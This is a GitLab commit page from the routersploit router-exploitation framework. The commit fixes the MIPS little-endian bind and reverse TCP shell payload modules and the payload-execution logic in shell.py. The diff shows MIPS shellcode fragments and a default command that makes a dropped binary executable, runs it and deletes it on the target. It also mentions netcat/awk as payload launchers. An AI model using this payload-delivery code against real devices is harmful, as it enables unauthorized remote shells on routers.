Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
df6e1b66
Commit
df6e1b66
authored
7 years ago
by
Marcin Bury
Committed by
GitHub
7 years ago
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Payloads fixes (#337)
* Fixing payloads * Pep fixes
parent
86b8c55e
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
17 additions
and
10 deletions
+17
-10
bind_tcp.py
routersploit/modules/payloads/mipsle/bind_tcp.py
+2
-2
reverse_tcp.py
routersploit/modules/payloads/mipsle/reverse_tcp.py
+1
-1
shell.py
routersploit/shell.py
+14
-7
No files found.
routersploit/modules/payloads/mipsle/bind_tcp.py
View file @
df6e1b66
...
...
@@ -18,10 +18,10 @@ class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
],
}
architecture
=
Architectures
.
MIPS
B
E
architecture
=
Architectures
.
MIPS
L
E
def
generate
(
self
):
bind_port
=
validators
.
convert_port
(
self
.
l
port
)
bind_port
=
validators
.
convert_port
(
self
.
r
port
)
return
(
"
\xe0\xff\xbd\x27
"
+
# addiu sp,sp,-32
"
\xfd\xff\x0e\x24
"
+
# li t6,-3
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/payloads/mipsle/reverse_tcp.py
View file @
df6e1b66
...
...
@@ -18,7 +18,7 @@ class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
],
}
architecture
=
Architectures
.
MIPS
B
E
architecture
=
Architectures
.
MIPS
L
E
def
generate
(
self
):
reverse_ip
=
validators
.
convert_ip
(
self
.
lhost
)
...
...
This diff is collapsed.
Click to expand it.
routersploit/shell.py
View file @
df6e1b66
...
...
@@ -283,16 +283,19 @@ class Communication(object):
if
isinstance
(
item_exec_binary
,
str
):
try
:
commands
.
append
(
item_exec_binary
.
format
(
path
))
except
ValueError
:
except
(
KeyError
,
ValueError
)
:
commands
.
append
(
item_exec_binary
)
elif
callable
(
item_exec_binary
):
commands
.
append
(
item_exec_binary
(
path
))
# instruction to execute generic payload e.g. netcat / awk
elif
isinstance
(
self
.
exec_binary
,
str
):
commands
.
append
(
self
.
exec_binary
)
try
:
commands
.
append
(
self
.
exec_binary
.
format
(
path
))
except
(
KeyError
,
ValueError
):
commands
.
append
(
self
.
exec_binary
)
# default way of exec
tuign
payload
# default way of exec
uting
payload
else
:
exec_binary_str
=
"chmod 777 {0}; {0}; rm {0}"
.
format
(
path
)
commands
.
append
(
exec_binary_str
)
...
...
@@ -314,7 +317,7 @@ class Communication(object):
for
command
in
commands
[:
-
1
]:
self
.
exploit
.
execute
(
command
)
# asynchronous last command to execute binary
# asynchronous last command to execute binary
& rm binary
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
commands
[
-
1
],))
thread
.
start
()
...
...
@@ -333,9 +336,13 @@ class Communication(object):
# execute binary
commands
=
self
.
build_commands
()
for
command
in
commands
:
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
command
,))
thread
.
start
()
# synchronized commands
for
command
in
commands
[:
-
1
]:
self
.
exploit
.
execute
(
command
)
# asynchronous last command to execute binary & rm binary
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
commands
[
-
1
],))
thread
.
start
()
# connecting to shell
print_status
(
"Connecting to {}:{}"
.
format
(
self
.
options
[
'rhost'
],
self
.
options
[
'rport'
]))
...
...
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment